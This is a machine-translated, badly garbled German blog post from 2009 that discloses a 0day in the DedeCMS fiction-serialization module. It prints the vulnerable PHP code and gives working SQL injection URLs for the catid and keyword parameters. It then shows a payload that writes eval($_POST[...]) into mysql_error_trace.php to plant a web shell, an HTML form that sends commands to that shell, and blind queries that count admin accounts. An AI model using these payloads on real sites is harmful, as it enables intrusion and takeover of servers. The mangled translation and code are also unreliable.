DEDECMS Fiction-Serien Modul 0day-0 Tage Artikel Condo, die magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story

DEDECMS Fiction-Serien Modul 0day

Dieser Eintrag wurde am 22. September 2009 veröffentlicht

: St0p
Reproduziert, sondern geben Sie bitte die Quelle http://www.st0p.org

Da das Loch im Modul DEDECMS Roman serialisiert erscheinen, solange Wahl Roman serialisiert DEDECMS installieren Sie das Modul, dann dieses Problem, erlauben einige Versionen unter den Bedingungen erfahren Sie aktuell SHELL Oh.
St0p Zusammenfassung über den Einsatz von Bedingungen Bedingungen: Wenn der Server PHP-Einstellungen, magic_quotes_gpc = Off
Bedingung 2: das Ziel DEDECMS Systeminstallation Fiction-Serien-Modul gewählt

Lassen Sie uns zunächst auf die Artikel Condo 5.1, dem Roman-Kanal und in den Artikeln 5.3.1 Articles Condo Condo 5,5 schauen, denn seine Akte in der Mitglieder-Verzeichnis, die Datei ist ein Mitglied / story_books.php Artikel 5.3.1 und Artikel Condo Condo 5,5-Datei Im Buch-Verzeichnis, die Datei ist ein Buch / story_books.php
Aufgrund der ähnlichen Code im Inneren, so wollen wir an einem story_books.php Linie aussehen

  <? Php
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 if $ action ='' (isset ($ action)!); / / Nachweis von Variable $ Aktion, wenn es nicht existiert, dann auf den ursprünglichen Wert
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 wenn $ catid = 0 (das isset ($ catid)!); / / Test der Variable $ catid vorhanden ist nicht vorhanden ist, früh zu treffen Wert
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 wenn $ keyword = "" (isset ($ keyword)!); / / Nachweis von Variable $ Schlüsselwort existiert, nicht existiert, dann auf den ursprünglichen Wert
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 wenn ein $ orderby = 0 (isset ($ ein orderby)!); / / erkennen die Variable $ ein orderby, ob es nicht existiert ist zu früh, um Wert zu machen
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; if ($ catid = 0!) $ addquery = "Und (b.bcatid = '$ catid' Or b.catid = '$ catid')."; 
 / / Die Variable $ catid nicht 0 ist, es direkt an den $ auf $ catid addquery nicht überprüft
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; (! $ keyword = ""), wenn $ = addquery. "Und (b.bookname LIKE '% $ keyword%' oder b.author LIKE '% $ keyword%')";
 / / Die Variable $ Schlüsselwort nicht leer ist, ist es eine direkte $ $ addquery, um ihn nicht überprüft
 " $ Query = " 
     Wählen Sie b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, wie cid, c.classname Von # @ __ story_books b c.Id 
     left join # @ __ story_catalog c auf c.id = b.catid wo memberid = {$ cfg_ml-> m_id} und b.id> 0 $ $ addquery orderby 
  ";
 / / Erzeugen der Anweisung
 ......
 ?>

Der obige Code, um zu sehen, Ga, catid und das Schlüsselwort gibt es keinen Filter, so wird dies durch die Injektion verursacht, aber es scheint zu bilden die Aussage ist ein wenig Mühe, das ist noch nicht in diesem Artikel beschreibt den Umfang unserer kleinen Beispiel versuchen, die folgenden Aktionen wenden Sie sich bitte getestet nach der Landung, direkte Registrierung Konto, Anmeldung, dann geben Sie folgende Adresse

Artikel Condo 5,1

Testen catid Variable unter der folgenden Adresse
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') oder ("St0p' = 'St0p

Test zwei Variablen Schlüsselwort, das folgende Adresse
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% 'oder c.classname LIKE'% St0p

Artikel Condo 5,31

Testen catid Variable unter der folgenden Adresse
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') oder ("St0p' = 'St0p

Test zwei Variablen Schlüsselwort, das folgende Adresse

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% 'oder c.classname LIKE'% St0p

Artikel Condo 5,5

Testen catid Variable unter der folgenden Adresse
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') oder ("St0p' = 'St0p

Test zwei Variablen Schlüsselwort, das folgende Adresse
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% 'oder c.classname LIKE'% St0p

Siehe die drei Versionen, injizieren die neuere Version von DEDECMS Aussage Grenzen der injizierte sie versuchen, St0p nicht reden.
In der Tat, solange wir der Erlaubnis, ein paar Punkte bekommen zu ändern, daran erinnern, dass MySQL-Fehler in die Log-Datei-Suffix PHP Bugs, 5.1 geschrieben nicht zu funktionieren scheinen, manche 5,31 ungepatchte, dann, wenn der gepatchten wie 5,5 Suffix änderte ihren Namen in der INC so in das Wort Pferd geschrieben, aber nicht nutzen konnte. . . Schlechte Ach, wenn auch die Früherkennung durch den Tod ist. . .

Artikel Condo 5,31
include / dedesql.class.php Datei

  ......
	 / / Display-Fehler Informationen über die Datenverbindung
	 $msg ) die Funktion DisplayError ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = dirname (__ FILE__) '/ .. / data / mysql_error_trace.php';. / / Hier ist der PHP-Suffix
		 '' ; $ EMSG ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; EMSG $ = "<div> <h3> DedeCMS Fehler Warnung </ H3> \ r \ n".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; EMSG $ = "<div> <a class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Technischer Support:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; EMSG $ = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; EMSG $ = "<div Style='color:blue'> <br /> Fehlerseite: <font color='red'>"... $ This -> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; EMSG $ = "Fehler <div> Infos: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; EMSG $ = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ EMSG;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'Seite:' $ this -> GetCurUrl () "\ r \ n Fehler:". $ Msg;..
		 / / Speichern Sie die MySQL-Fehlerlog
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. '? Php'. "\ R \ n / * \ r \ n} {$ savemsg \ r \ n * / \ r \ n?". "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Artikel Condo 5.5 und gepatchte
include / dedesql.class.php Datei

  ......
	 / / Display-Fehler Informationen über die Datenverbindung
	 $msg ) die Funktion DisplayError ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 $ ErrorTrackFile = dirname (__ FILE__) '/ .. / data / mysql_error_trace.inc';. / / Suffix geworden INC
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 if (file_exists (dirname (__ FILE__). '/ .. / data / mysql_error_trace.php')) / / wenn mysql_error_trace.php vorhanden ist, löschen Dateien
		 {
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @ Unlink (dirname (__ FILE__) '/ .. / data / mysql_error_trace.php'.);
		 }
		 '' ; $ EMSG ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; EMSG $ = "<div> <h3> DedeCMS Fehler Warnung </ H3> \ r \ n".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; EMSG $ = "<div> <a class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Technischer Support:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; EMSG $ = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; EMSG $ = "<div Style='color:blue'> <br /> Fehlerseite: <font color='red'>"... $ This -> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; EMSG $ = "Fehler <div> Infos: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; EMSG $ = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ EMSG;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'Seite:' $ this -> GetCurUrl () "\ r \ n Fehler:". $ Msg;..
		 / / Speichern Sie die MySQL-Fehlerlog
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. '? Php'. "\ R \ n / * \ r \ n} {$ savemsg \ r \ n * / \ r \ n?". "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Lesen Sie den obigen Code, wir es verstehen, 5,5 und 5,31 in das wird gepatcht werden, nicht verwenden können, sagen wir, dass etwa 5,31 können die Vorteile der Methode.
Die Verwendung von Methoden

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% '* / eval ($ _POST [St0p]);?>

Hey. Damit erhalten wir eine SHELL
Word-Adresse für http://st0p:88/dedecms53/data/mysql_error_trace.php
Direkte POST-Daten über die Nutzung der Artikel Condo 5,5 unterbreiten ist die gleiche, aber da der Code beschäftigen zu, so dass die erzeugte Datei-Endung INC, gibt es keine Verwendung, die folgenden verwendet wird, um die HTM-Codes vorzulegen, einfach die untenstehende Tabelle einzelne Adresse, die Sie waren es in

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE HTML PUBLIC "- / / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > <html Xmlns = "http://www.w3.org/1999/xhtml">
 <Head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-EQUIV = content = "Content-Type" "text / html; charset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta Name = "author" content = "st0p, st0p.org" />
 st0p一句话提交</ title > <Title> St0p Wort vorgelegt </ title>
 </ Head>

 <Body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <-! Http: / / St0p: 88/dedecms53/data/mysql_error_trace.php ersetzt mit Ihrer Adresse ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <form Id = name = "form1" "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <Label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea Name = "st0p" id = "st0p" cols = "45" Reihen = "5"> echo phpinfo (); </ textarea>
     </ Label>
   </ P>
   <P>
     <Label>
       "submit" name = "button" id = "button" value = "提交" /> <input Type = "submit" name = "button" id = "button" Wert = "Submit" />
     </ Label>
   </ P>
 </ Form>
 </ Body>
 </ Html>

Natürlich Fiktion serielle Modul gibt es weitere Dokumente gibt es auch das gleiche Problem gibt es mehrere Dateien der folgenden
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

Ursprünglich wurde angenommen, veröffentlicht diese 0day,, Random Thoughts mehr als Schnittpunkt der Rinder Punkt X Freunden, Informationen auszutauschen, so entschieden wir uns für die Erteilung, nach einiger weniger Fett. . .
Es gibt Probleme, die wir in meinem Blog zu diskutieren können!

Hinweis: Nach der Veröffentlichung des Artikels, sagte ein Freund nach dem Lesen dieses sehr geschmacklos, weil viele Server magic_quotes_gpc = On der Fall, den ich nicht die Absicht haben, zu argumentieren, aber ich schrieb die Frage ist nicht vorhanden ist, wollen nur ein paar Bedingungen zu nutzen 5,31 und 5,5, in der 5.1-Version der neuen Kenntnisse können serielle Bücher, einige davon mit Filter Manche Schlüsselwörter in SQL hinzufügen, so ist wie keiner Weise, müssen wir die Version 5.1 erkennt gibt es mehrere Management Mitglied zum Beispiel.
1, wollen wir einen serialisierten hinzuzufügen
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') oder (select count (*) aus dede_admin)> 0 oder (' St0p '=' st0pa

3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') oder (SELECT COUNT (*) aus dede_admin)> 1 oder (' St0p '=' st0pa

Ga, ist die obige Schlussfolgerung der Administrator die Nummer 1. . .
Beispiel, um dies zu zitieren, in der Tat kann die Schwachstelle zu jeder Zeit auftreten, sondern kümmern uns um die Umwelt ist anders, verschiedene Effekte und einen guten Gebrauch machen, und manchmal geschmacklos Dinge auch als fruchtbar erweisen. . .